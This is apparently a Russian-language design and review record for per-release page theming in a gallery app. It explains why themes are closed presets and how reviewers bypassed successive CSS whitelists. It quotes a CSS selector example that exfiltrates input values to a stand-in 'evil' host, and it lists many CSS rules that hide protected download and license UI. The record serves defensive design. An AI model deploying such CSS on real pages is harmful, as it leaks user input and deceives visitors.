Gallery Release Theming

Обновлено: 2026-08-21

Авторское оформление страницы издания галереи — тема как пресеты (AD-1695)

Статус: срез сделан — см. § 9. Родитель — идея основателя: страницу
отдельной модели можно оформить в СВОЁМ визуальном стиле (пример — модель
Vulpes в аниме-стиле, вся страница в том же стиле). Реализация — раздел
«Авторское оформление страницы издания — тема (AD-1695)» в
docs/dev/design-gallery.md; здесь — вопрос, который решался, и почему
выбор пал именно на эту механику.

1. Вопрос

Можно ли дать автору издания оформить СВОЮ страницу галереи без того, чтобы
это превратилось в дыру безопасности или в способ спрятать функциональный
элемент (кнопку скачивания, лицензию)?

2. Почему НЕ произвольный CSS и НЕ произвольный цвет

CSP приложения несёт style-src с 'unsafe-inline' (замер шире strict CSP на
script-src.claude/rules/frontend.md). Свободный CSS от пользователя на
такой политике даёт:

  • дефейс — любой селектор, включая чужие компоненты (топбар, тосты);
  • эксфильтрацию через url() — атрибутивный CSS-селектор (input[value^= "a"] { background: url(https://evil/?a) }) умеет читать значения полей
    посимвольным перебором без единой строки JS;
  • подмену UI поверх функциональных элементовposition: fixed поверх
    кнопки «Скачать» с прозрачным фоном превращает клик в клик по чужому
    элементу (classic clickjacking, здесь — без iframe).

Замер по шести изученным UGC-площадкам, позволяющим пользователю оформить
СВОЮ страницу
(профили/визитки/портфолио — тот же класс поверхности, что
карточка издания): Linktree, Carrd, Notion (публичная страница), itch.io
(страница игры), Behance, GitHub Pages (через Jekyll-тему). Из шести только
Carrd пускает пользователя к свободному CSS без ручного модераторского
одобрения — и её собственные домены массово фигурируют в фишинговых кампаниях
именно из-за этого (открытая генерация страниц с произвольным видом на
доверенном домене). Остальные пять — закрытое перечисление пресетов/тем,
редактируемых через панель, не через код. Это и есть механика, применённая
здесь.

3. Почему не настройка админки, а поле издания

Тема живёт в DesignRelease.theme, не в отдельной таблице/флаге раздела:
авторство карточки подключает параллельный тикет (AD-1699, «владелец
издания», публикация не-администратором), и тема ОБЯЗАНА пережить переход от
«админ выкладывает» к «автор выкладывает» без переделки схемы — механизм
рассчитан на то, что владельцем поля скоро станет не только require_admin.

4. Механика — закрытое перечисление, не свободный ввод

DesignReleaseTheme(str, Enum): platform (дефолт), ember, blueprint,
night. Приём значения — С ЯВНОЙ проверкой членства в перечислении, отказ на
чужое значение (400, машинный код) — см. gallery_admin._parse_theme.
Расширение набора пресетов в будущем — аддитивное значение enum, а не смена
механики.

5. Токены, не второй словарь имён

AD-1696 (влит непосредственно перед этим тикетом) уже свёл поверхности
skyforge.css к слою семантических токенов ролей (--text/--muted/
--border/--primary/--surface/…). Пресет темы страницы издания
переиспользует ИХ, в скоупе [data-gallery-theme="<пресет>"] — заводить
параллельный набор --gt-* означало бы дублировать роли, которые уже
существуют, ровно тот дубль, который канон dev-approach.md называет
ревью-флагом.

color-mix() рассмотрен и НЕ применён. Эталонный макет комплекта VULPES
25 (три темы — Ember/Blueprint/Night, по пять переменных на тему: ink/orange/
paper/muted/line) берёт производные оттенки через color-mix(in srgb, ...)
от акцента. В skyforge.css этот приём сейчас не встречается вовсе, а
контраст пресетов ОБЯЗАН быть посчитан из значений, зафиксированных в
тексте листа (мера соразмерна измеряемому — .claude/rules/testing.md):
color-mix() резолвится браузером в рантайме, и тест либо не увидел бы
фактический цвет вовсе, либо дублировал бы арифметику смешения краски рядом
с тестом. Производные значения (--primary-2, «яркая» вариация акцента для
hover/focus-ring) поэтому — свои литералы на пресет, подобранные так, чтобы
пройти контраст WCAG 2.2 наравне с основными.

6. Неприкосновенный UI — как защищён

Кнопка скачивания, таблица файлов, лицензия и ссылки на файлы прежних
редакций обёрнуты одним data-gallery-protected — внутри него
gallery_theme.css пере-объявляет ВСЕ потребляемые темой custom properties
обратно в платформенные литералы. Это работает надёжно ровно потому, что
платформа сейчас закреплена на теме dark без переключателя (AD-422,
web/static/js/skyforge/app.js): защитный блок ссылается на конкретные hex,
а не на var(--x) вышестоящего :root (косвенность здесь не спасает —
custom properties резолвятся по ближайшему объявлению НА ПУТИ К ЭЛЕМЕНТУ, а
не «откуда угодно из :root», поэтому alias вида --chrome-text: var(--text)
внутри защищённого блока всё равно подхватил бы локально переопределённый
--text). Если платформа когда-нибудь вернёт переключатель тёмная/светлая —
защитный блок придётся развести по [data-theme="light"] тем же приёмом, что
раньше использовался в skyforge.css до AD-1696.

Крошки, шапка авторизации и тосты защиты не потребовали структурно: они не
потомки контейнера темы (топбар/тосты рендерятся base.html вне {% block content %}) либо красят себя СВОИМ токеном, которого тема не трогает
(.breadcrumbs--breadcrumbs-text, объявлен AD-1696).

7. Находки независимого арх/тест-ревью (MR !1389) — исправлены до мержа

Первый проход MR получил один MAJOR от арх-ревью и три MAJOR от тест-ревью
(все — на реализации, а не на постановке); все четыре — доказаны мутацией с
изначально зелёным прогоном, все четыре исправлены в той же ветке:

  1. Голый [data-gallery-theme] ловил и дефолт. Правило акцентного
    бейджа версии (.meta .badge) сперва селектило голый атрибут-контейнер —
    а у платформенной темы (дефолт) он тоже стоит, шаблон рендерит его
    ВСЕГДА. Правило понижало контраст бейджа с 8.06 (платформенные
    --status-info-*) до 3.32 на КАЖДОЙ существующей странице. Чинится
    перечислением конкретных значений пресетов в селекторе; та же логика
    закрыта тестом (TestPlatformThemeIsIdentityMapping).
  2. Матрица контраста не мерила фон, на котором реально сидит текст.
    .card (панели описания/файлов) красится --card-gradient-from/
    --card-gradient-to, а НЕ --surface — эти два токена изначально не
    переопределялись пресетом, поэтому контраст-тест мерил --text против
    --surface, а на экране текст сидел на непеределанном платформенном
    фоне. Чинится переопределением обоих токенов (равными --surface
    пресета — плоская панель без альфа-градиента, разбор — докстринг
    gallery_theme.css).
  3. Матрица покрывала пять пар из десяти переопределяемых ролей.
    --surface-2/--surface-3/--primary-2 не входили ни в одну пару —
    их можно было испортить без единого красного теста. Чинится реестром
    _TOKEN_USAGE (пара «роль → цитата РЕАЛЬНОГО объявления в CSS, где эта
    роль используется») плюс тестом полноты: каждый токен, который
    переопределяет хотя бы один пресет, обязан встретиться в реестре.
  4. Проверка вложенности защищённого блока смотрела на порядок подстрок,
    не на структуру DOM.
    text.index(...) доказывает порядок, а перенос
    закрывающего </div> РАНЬШЕ (HTML остаётся сбалансирован) этот порядок
    не меняет — 10/10 тестов оставались зелёными. Чинится разбором дерева
    тегов (_AncestryProbe, стандартный html.parser.HTMLParser).
  5. Страж «функциональный UI не потребляет токены» был чёрным списком.
    Чёрный список запрещённых подстрок дырявый по построению — он не знает
    имён атрибутов, которых ещё нет в списке (data-gallery-files-empty,
    .passport-table, .btn-primary). Чинится белым списком: любой
    селектор файла, которого нет в explicit-перечислении легальных, —
    находка.

8. Второй проход независимого ревью — тот же класс дефекта, на слой ниже

AD-1699 («владелец издания и «Мои публикации»») влился в develop, пока этот
MR ждал ревью, и второй проход застал уже смерженную ветку. Найдено четыре
находки — три MAJOR, каждая продолжает класс дефекта из § 7 на следующий
уровень абстракции, и одна пара «показ ↔ хранение», разомкнутая слиянием
двух веток:

  1. Тот же голый-атрибут-дефект (§ 7 п.1), перенесённый с бейджа на фон
    защищённого блока.
    [data-gallery-theme] [data-gallery-protected]
    (селектор СБРОСА неприкосновенного UI) остался голым, хотя правило бейджа
    рядом уже было исправлено — правки одного класса в одном файле не
    гарантируют друг друга. Чинится тем же приёмом: перечислением трёх
    конкретных пресетов.
  2. Страж голого атрибута (§ 7 п.1 тест) ловил только ТОЧНОЕ строковое
    совпадение с "[data-gallery-theme]" и не видел его же в роли ПЕРВОГО
    КОМПАУНДА потомкового селектора
    — то есть не поймал находку (1) сам.
    Переписан на регэксп «первый компаунд ЛЮБОГО селектора файла — атрибут с
    конкретным значением пресета» (_CONCRETE_THEME_COMPOUND_RE): он
    проверяет ИМЕННО ту часть селектора, что решает, какой пресет матчит
    правило, а не то, что стоит правее.
  3. Белый список СЕЛЕКТОРОВ (§ 7 п.5) не покрывал ДЕКЛАРАЦИИ внутри
    разрешённого правила
    — следующий слой того же класса. Правило с
    легальным селектором и display:none внутри прячет ВЕСЬ неприкосновенный
    UI, и белый список селекторов такое правило пропускает: сам селектор ни в
    чём не виноват. Мутация ревью (display:none внутри
    [data-gallery-protected]) дала 45 из 45 зелёных. Чинится ВТОРЫМ белым
    списком — на этот раз для СВОЙСТВ объявлений
    (_ALLOWED_DECLARATION_PROPERTIEScolor/background/border-color
    плюс любые custom properties; display/visibility/opacity/
    font-size/position/z-index/content/transform не входят и не
    могут быть добавлены без отдельного пересмотра списка).
  4. Пара «показ ↔ хранение», разомкнутая слиянием. AD-1699 добавил ТРЕТЬЮ
    поверхность правки издания (PUT /api/my/gallery/{id}, владелец) и
    MCP-инструмент update_gallery_release — оба зовут ОБЩИЙ
    ReleaseTextFields.apply_to, у которого theme была ОБЯЗАТЕЛЬНЫМ полем с
    дефолтом "". У экрана владельца нет <select> темы (её задаёт только
    админская форма), поэтому тело правки владельца НЕ несёт theme вовсе —
    и apply_to трактовала отсутствие поля как пустую строку, а пустую
    строку как явный сброс на платформенную тему. Итог: ЛЮБАЯ правка описания
    владельцем молча стирала пресет, выставленный админом, причём
    serialize_owned_release ещё и не отдавала поле в ответе — round-trip был
    невозможен даже там, где поле можно было бы прислать обратно. Чинится
    различением «поле отсутствует в теле» ("theme" in self.model_fields_set, pydantic заполняет это по факту присутствия ключа
    при валидации/конструировании) от «поле прислано пустым»: первое — «не
    менять», второе остаётся законным «сбросить на платформенную». Прогнано
    по ВСЕМ вызывающим apply_to (админ create/update, владелец
    create/update, оба MCP-инструмента) — регрессия воспроизведена и закрыта
    тестом на каждой поверхности, где она была РЕАЛЬНО достижима (владелец,
    REST и MCP); на админской и create-путях риска не было (тема уже
    отправляется явно или уже на дефолте), но тест на симметрию добавлен и
    туда.

Исход: перечень отвергнут целиком (AD-1705)

Третий проход ревью (уже по смерженному AD-1695) показал, что находки § 8 п.3
были не «ещё одной дырой», а ТРЕТЬИМ витком одного класса: защиту трижды
записывали перечнем, и трижды её обходили НА УРОВЕНЬ НИЖЕ того, на котором
перечень был закрыт — имя селектора → свойство внутри легального селектора →
значение легального свойства. Ревьюер прогнал по develop пять форм обхода, и
ВСЕ ПЯТЬ дали зелёный прогон:

  1. [data-gallery-theme="ember"] [data-gallery-protected]{color:transparent}
    весь защищённый текст невидим (164/164 зелёных);
  2. то же со значением color:#0a1b2a — литерал, равный собственному фону
    блока;
  3. background:transparent — снимает непрозрачную подложку-защиту (её страж
    проверял НАЛИЧИЕ объявления в первом блоке, а не итог каскада);
  4. ВТОРАЯ копия легального правила — _protected_block() возвращал ПЕРВОЕ
    совпадение и return-ил, а по каскаду побеждает последнее (49/49 зелёных);
  5. объявление БЕЗ завершающей ; — регэксп _declared_tokens требовал её и
    объявления просто не видел (49/49 зелёных).

Плюс @import url(...) не был виден НИ ОДНОМУ из белых списков: оба были
закрыты над «правилами вида селектор{…}», а не над файлом.

Вывод, зафиксированный тикетом: перечисление здесь не работает в принципе.
«Спрятать элемент» не требует нового ВИДА правила — достаточно нового значения
уже разрешённого свойства, второй копии уже легального правила или
пунктуации. Шестой список отвергнут; вместо него выбран путь B постановки —
структурное сужение самого листа до перечислимой грамматики (S1–S6,
tests/gallery_theme_sheet.py), при которой текстовая проверка становится
достаточной ПО ПОСТРОЕНИЮ, плюс измерение РЕЗУЛЬТАТА на отрендеренной
странице (D1). Почему не путь A (полноценный прогон каскада в node): в
репозитории нет ни одной npm-зависимости (node_modules отсутствует,
package.json — только объявления {"type":"module"} для четырёх каталогов),
то есть ни jsdom, ни postcss взять неоткуда, а писать СВОЙ движок каскада
означало бы завести вторую модель браузера — ровно то, слабость чего и
породила все пять обходов. Сужение листа делает эту модель НЕНУЖНОЙ:
пространство возможных правил конечно и проверяемо целиком.

Что закрыто и чем (каждая форма — отдельный тест с говорящим именем, таблица
_ATTACK_FORMS): формы 1–2 — S4 (значение настоящего свойства только
var(--роль)); форма 3 — S4/S5; форма 4 — S3 (селектор ровно в одном
правиле); форма 5 — тотальный разбор без требования ; плюс сверка обратной
сборкой; @import/@media/незакрытый комментарий — S1; !important — S4;
display:none — S4. Шестая форма, придуманная и прогнанная при исполнении
тикета, оказалась ДРУГОГО вида и потребовала нового правила: [data-gallery- theme="ember"]{color:var(--surface)} — правило вообще не адресует защиту, но
color НАСЛЕДУЕТСЯ, и весь защищённый текст красится в цвет собственной
подложки защиты. Закрыто S6 (правило-предок защиты не красит) и продублировано
измерением на разметке. Мелкие находки того же ревью починены здесь же:
сверка цитаты реестра требует ОДНОГО правила, а не двух независимых подстрок
файла; контраст меряется ещё и по САМИМ объявлениям листа (правило
…{background:var(--primary);color:var(--primary)} давало 1.0 при зелёном
реестре); докстринг листа больше не ссылается на несуществующее имя теста;
pytest.raises(Exception) сужен до Refusal.

Второй проход ревью: молчание принималось за отсутствие нарушения

Ревьюер выполнил требование основателя буквально — придумал СЕМНАДЦАТУЮ форму,
и она прошла ЗЕЛЁНОЙ (1134 теста, 0 падений):

[data-gallery-theme="night"] .card{background:var(--text);color:var(--on-accent)}

плюс запись селектора в инвентарь и поправка счётчиков. На живой странице темы
night это давало контраст 1.09 на таблице файлов: <td> своего color
не имеет и наследует #06120e от .card, а подложка панели остаётся
платформенной #0a1b2a из background: var(--surface). Состав файлов
становился невидим.

Причин было три, и каждая — самостоятельная дыра.

  1. S6 — синтаксический признак (префикс цепочки), и .card префиксом
    защищённого селектора не является. Признак был честно назван неполным в
    докстринге, но неполноту закрывал D1, а он —
  2. мерил РОВНО ОДНУ страницу (/gallery/ember-wing). Селекторы
    blueprint/night на ней не матчат ничего, и
  3. на пустом матче функция МОЛЧАЛА. Тишина принималась за «нарушения нет» —
    то есть чем дальше правило от измеряемой страницы, тем безопаснее оно
    выглядело.

Лечение — измерение вместо тишины: D1 меряет страницу КАЖДОГО пресета (набор
берётся из DesignReleaseTheme, не из списка в тесте) и требует, чтобы
селектор СВОЕГО пресета что-то сматчил, а селектор ЧУЖОГО — не сматчил ничего.
Это закрывает и будущие пресеты: новое значение перечисления обязано завести
себе страницу измерения, иначе прогон краснеет.

Тем же проходом закрыты: пара «пресет ↔ его сброс в защите» (полнота
сверялась по именам РОЛЕЙ, поэтому четвёртый пресет без строки в правиле
защиты давал 202 passed при том, что весь неприкосновенный UI на его страницах
потреблял токены темы); рукописная копия перечисления пресетов в тесте
(из неё собираются регэксп S2, параметризация контраста и набор страниц D1 —
значение enum, не попавшее в копию, выпадало бы разом из всех проверок);
поиск маркера защиты подстрокой (форма [data-gallery-protected="1"]
выводила правило из-под S5/S6 и из ветки D1 «правило защиты» — теперь значение
у этого атрибута запрещено грамматикой).

Восемнадцатая форма, найденная при доработке: правило по узлу, который
рендерится ТОЛЬКО АНОНИМУ. Кнопка «Войдите, чтобы скачать»
(data-gallery-download-login) живёт в ветке {% if not user %} ВНУТРИ
защиты, и color:var(--surface) прячет главный призыв к действию ровно у тех,
кому он адресован. Измерение под логином этого узла не видит вовсе. Поэтому D1
меряет ОБА состояния посетителя, а требование «селектор что-то сматчил»
формулируется как «хотя бы в одном состоянии» — иначе законное правило по
анонимному узлу краснело бы на странице под логином. Прогнанная сверх этого
разведка (.meta внутри защиты, .table-wrap, .btn-primary, предок по
цепочке .card .card-body) даёт красный на всех четырёх, а законное правило
вне защиты (.section-sub) остаётся зелёным — это и есть проверка на ложную
красноту, без которой «ловит всё» неотличимо от «ловит что попало».

Третий проход: третий канал влияния и корень, которого не было

Форма 19 прошла зелёной (219 passed):

[data-gallery-theme="ember"] .card { --status-info-bg:#1a0f08; --status-info-text:#1a0f08;
                                     --status-info-border:#1a0f08; --panel-tint:#1a0f08; }

Бейдж «Current» истории редакций лежит ВНУТРИ защиты и красится в
skyforge.css через --status-info-*; токены наследуются от .card внутрь,
а сброс защиты их не содержал. Контраст 8.06 → 1.00. Слепы были все три
слоя сразу: S4 разрешал custom property с литералом где угодно; S5 сверял
набор ПРЕСЕТОВ, а не набор ТОКЕНОВ; S6 и D1 смотрят на покрасочные
объявления, а их у правила нет вовсе.

Корень, названный ревьюером: множество «токены, которые ПОТРЕБЛЯЕТ
защищённый UI» нигде не выводилось из реальности. Оно было рукописным
списком ролей — и потому «полнота сброса» была полна лишь относительно самой
себя.

Сделано два структурных шага, оба вычислением, а не перечнем.

  1. Набор потребляемых токенов выводится из реальности. Узлы внутри
    [data-gallery-protected] берутся с отрендеренной страницы, к ним
    подбираются правила skyforge.css (грубый разбор, сознательно
    НАДмножественный — ошибка возможна только в безопасную сторону: лишнее
    правило добавит лишний токен в набор обязательных), из объявлений
    извлекаются все var(--…), набор замыкается по ссылкам в :root. Каждый
    такой токен обязан стоять в блоке сброса. Вычисление немедленно нашло
    восемь недостающих: --status-info-bg/-border/-text, --panel-tint,
    --tint-accent-08, --tint-accent-12, --hero-lead-text,
    --font-display.
  2. Запрещено МЕСТО объявления токена (S7): custom property выразим только
    в блоке пресета (селектор из одного компаунда) или в блоке сброса. Форма 19
    становится невыразимой по построению, а не пойманной по имени токена —
    перечислять «опасные» токены значило бы снова завести список.

Чтобы блок сброса мог пришпилить ЛЮБОЕ платформенное значение (rgba(),
список шрифтов), грамматика значений в нём ослаблена до «любой литерал, но не
var()» — и это СТРОЖЕ прежнего «только hex»: S5 сверяет каждый литерал с
:root побайтово, то есть подходит ровно одно значение.

Двадцатая форма, найденная при доработке тем же приёмом: набор
потребляемых токенов считался по странице ПОД ЛОГИНОМ, а кнопка «Войдите,
чтобы скачать» лежит внутри защиты и рендерится ТОЛЬКО анониму — она тянет
--accent-gradient-from/-to и --accent-shadow, которых в наборе не было.
Тот же класс, что форма 18, применённый к новому вычислению: набор теперь
считается объединением по ОБОИМ состояниям посетителя, три токена добавлены в
сброс.

Заземление обеих сторон: удаление ЛЮБОГО из сбросов (--status-info-bg,
--panel-tint, --accent-shadow) роняет test_every_token_consumed_by_ protected_ui_is_reset на всех трёх пресетах, а разведка после правок
(маркер защиты в середине цепочки; токен статуса в самом блоке пресета; токен
CTA в блоке пресета; токены из правила по .card-body) даёт красный на всех
четырёх при зелёном законном правиле вне защиты.

9. Итог

Срез реализован тикетом AD-1695: поле модели, разворачивание enum в сторе,
приём значения формой с проверкой членства (400 на чужое), три пресета сверх
платформенного (Ember/Blueprint/Night), защита неприкосновенного UI по ДВУМ
осям — какие селекторы легальны и какие свойства легальны внутри них (§ 7
п.2, § 8 п.3), контраст WCAG 2.2 девяти пар для каждого пресета, выведенных
из реального использования токена в CSS, а не заданных руками (§ 7 п.3) —
числами, посчитанными из значений листа (tests/test_gallery_theme.py), и
поле, переживающее правку с ЛЮБОЙ из трёх поверхностей (админ, владелец,
MCP) без потери значения (§ 8 п.4). Что осталось ЗА рамками этого тикета и не
является техдолгом, а осознанной границей: (а) свой <select> темы на
экране владельца «Мои публикации» — поле уже принимает значение от этой
поверхности (REST/MCP), UI для него заводится отдельным тикетом; (б) светлая
тема платформы — поле и защитный блок написаны так, что появление
[data-theme="light"] потребует развести защитный блок на два (см. § 6), а
не переписывать механику.